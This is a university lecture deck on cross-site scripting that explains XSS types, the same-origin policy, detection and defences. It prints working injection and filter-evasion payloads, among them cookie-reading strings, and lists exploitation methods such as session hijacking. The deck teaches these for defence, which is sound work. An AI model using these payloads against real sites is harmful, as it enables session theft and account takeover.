Cross-Site Scripting: analysis, identification and exploitation Mauro Gentile Web Application Security course (Elective in Computer Networks) prof. Fabrizio d'Amore Dept. of Computer, Control, and Management Engineering Antonio Ruberti Sapienza University of Rome
Who am i? ● Msc in Computer Engineering ● Application Security background ● Master's Thesis: “Automatic and Context-Aware Cross-Site Scripting Filter Evasion”, supervisor: prof. d'Amore XSS filter evasion tool: http://code.google.com/p/snuck/ ● Ranked 4 th in the “Premio Clusit” as one of the most innovative Italian IT security ● thesis in 2012 ● Security Consultant at Minded Security Application Security Consulting & Security Research company ● ● Interested in: ● Web Application Security ● Web Browser Security Some bugs @ http://www.sneaked.net ●
Web App Security ● Why web app sec is important? ● Online platforms handling private data are becoming more and more popular ● High benefits from the users perspective, but... ● … such kind of applications fascinate the hackers! ● Huge number of web app attacks registered in the last years ● High probability of being attacked sooner or later ● Accessing companies data possibly implies: Customer loss ● Reputation impact ● ● Building a completely safe web app is not easy! ● Many aspect should be taken into account ( OWASP principles ) ● Attackers could be smart ● Awareness is required among developers
XSS: Cross-Site Scripting ● XSS is a web application vulnerability that exploits the trust a user has for a web site ● The attacker's goal is to execute malicious code in the context of a trusted web site ● Practical example? Hey <?php echo $_GET['name']; ?>, how are u? The application reflects the name given in the GET parameter called name. http://target.net/page.php?name=superman Hey superman, how are u? But the attacker could inject its own code in order to execute JavaScript http://target.net/page.php?name=<script>alert(1)</script> Hey <script>alert(1)</script>, how are u?
One step back: SOP ● Web Browser security is regulated by a policy, the Same Origin Policy, which restricts how a document or script loaded from one origin can interact with a resource from another origin ● Practically speaking, the scripts in domain A.com cannot access the data in B.com ● How is XSS related to SOP? ● The attacker can inject code in the target domain ● The web browser cannot distinguish among a benign and a malicious script ● Therefore it executes it This means that the attacker can access the data in that domain since this is perfectly legit ● from the SOP perspective External JavaScript running on your domain! ● SOP , Mozilla Developer Network: https://developer.mozilla.org/en-US/docs/JavaScript/Same_origin_policy_for_JavaScript Browser Security Handbook, part 2: https://code.google.com/p/browsersec/wiki/Part2
XSS Classification ● Reflected XSS ● Injection immediately echoed in the server's response ● Refer to the previously mentioned example
XSS Classification ● Stored XSS ● Injection stored in a permanent data store and echoed at every visit
XSS Classification ● DOM-Based XSS ● Misuse the existent client-side script in order to make it work maliciously <html> <body> <script> var pos=document.URL.indexOf("name=")+5; document.write(document.URL.substring(pos,document.URL.length)); </script> </body> </html> How can we trigger the issue? http://target/test.html#name=<script>alert(1)</script> How to discover them? Realtime Dynamic Data Tainting – DOMinator, https://dominator.mindedsecurity.com/ DOM Based Cross Site Scripting or XSS of the Third Kind: http://www.webappsec.org/projects/articles/071105.shtml
XSS detection ● Manual Penetration testing ● Time-consuming task and expert skills are obviously required ● However, good detection coverage ● Web Vulnerability Scanners ● Tools that address the vulnerabilities detection problem by automating the whole discovery process The existing literature showed many intrinsic limitations: ● False positives ● Crawling problem ● Poor coverage of data entry points ● Intended Workflow ● How should the application be used? ● Why Johnny can't pentest: an analysis of black- box web vulnerability scanners: http://cs.ucsb.edu/~adoupe/static/black-box-scanners- dimva2010.pdf
Protecting against XSS ● Server-side mechanisms ● Web Application Firewalls ● HtmlPurifier ● ModSecurity ● Client-side mechanisms ● Content Security Policy ● NoScript, XSSAuditor XSS filter : sanitization system that prevents malicious code to be supplied through a form or, more generally, through a data entry point in a web application
Some examples ● Basic XSS #1 <html> <body> <script> var my_variable = “<?= $_GET['test']; ?>”; // handle my_variable here </script> </body> </html> How can we inject it? http://target/page.php?test=“;alert(1)// Comment the rest in order to avoid JS errors <html> <body> <script> Break out the JS Injection payload var my_variable = variable and close the ““;alert(1)//”; // handle my_variable assignment here
Some examples (cont.d) ● Basic XSS #2 <html> <body> <a href=“<?= $_GET['test']; ?>”>click me</a> </body> </html> How can we inject it? http://target/page.php?test=javascript:alert(1) Pseudoscheme + colon Injection payload No colon allowed? http://target/page.php?test=#” onmouseover=alert(1)// Url encoded: http://target/page.php?test=%23%22%20onmouseover %3Dalert(1)%2F%2F
Filtering ● Dumb Filtering Example #1 ● Filtering means to strip out potentially harmful user-generated content <html> <body> <?php $text = $_GET['test']; echo strip_tags($text, '<p><a>'); ?> </body> </html> ● Stopping <script>alert(1)</script> or similars would not make the app XSS-safe! ● The attacker could still inject <a href=javascript:alert(1)>xxx
Filtering (cont.d) ● Dumb Filtering Example #2 ● Idea: stripping out double quotes to avoid attribute breaking Obviously vulnerable: http://target/page.php?id=);prompt(document.cookie)// Fix #1 – disallow parentheses and double quotes Developer's perspective: disallowing parentheses means to avoid the attacker to execute JavaScript functions Attacker's perspective: is there any chance to make a successful injection without using parentheses?
Filtering (cont.d) ● Dumb Filtering Example #2 Attacker's perspective: is there any chance to make a successful injection without using parentheses? Yes! http://target/page.php?id=location.href='javascript:prompt %2528 /mauro%20rocks/ %2529 ' http://target/page.php?id=location.href='javascript:prompt %2528 /mauro%20rocks/ %2529 ' Fix #2 – disallow parentheses, double quotes and colons Developer's perspective: disallowing colons will block the attacker to generate these malicious redirects Attacker's perspective: is there any chance to make a successful injection without using these characters?
Filtering (cont.d) ● Dumb Filtering Example #2 Attacker's perspective: is there any chance to make a successful injection without using colons? Yes! http://target/page.php?id=location.href='javascript %26%2358; prompt%2528/mauro %20rocks/%2529' http://target/page.php?id=innerHTML=location.hash#<img src=xx:x onerror=alert(1) /> Fixing in this way is incredibly foolish! ● XSS cannot be solved through a blacklist, whereas a whitelist approach allows to successfully handle such situations ● We can continue to fix over and over as the attacker will always find a way to obfuscate its own payload ● XSS is related to the context, therefore output encoding should be carried out on the basis of the context the supplied data will be reflected into ● Solution: use web application security control library, such as OWASP ESAPI
Filtering (cont.d) The mentioned issue could have been simply handled through input validation, as follows: Simple and effective ● Adopting regular expressions means to implicitely adopt a whitelist ● No chance for the attacker to inject non numeric chars ● However , these are very basic attack scenarios... ● Allowing users to share its own content, while giving them a wide degree of freedom in terms of allowed inputs, may become challenging ● The complexity raises as the number of possible data entry points in which users might marshal content increases
Exploitation ● How to exploit an XSS ● Exploiting vulnerabilities requires creativity as it is quite application-dependent Evading robust filters requires strong ninja skills ● ● Some attack vectors may work in a browser, but not in another ● A smart exploit would require to know the basic application logic ● Exploit methodologies ● Session Hijacking – steal session information to impersonate the victim ● Modifying user credentials ● Stealing anti-CSRF tokens – perform unwanted actions on the victim's behalf ● Phishing attacks ● Control the whole user session How to: Exploit an XSS: http://blog.detectify.com/post/35208929112/how-to-exploit-an-xss XSS-Track: How to quietly track a whole website through single XSS: http://blog.kotowicz.net/2010/11/xss-track-how-to-quietly-track-whole.html Javascript keylogger in JQuery: http://www.idontplaydarts.com/2011/05/javascript-keylogger-in- jquery/
Recommend
More recommend
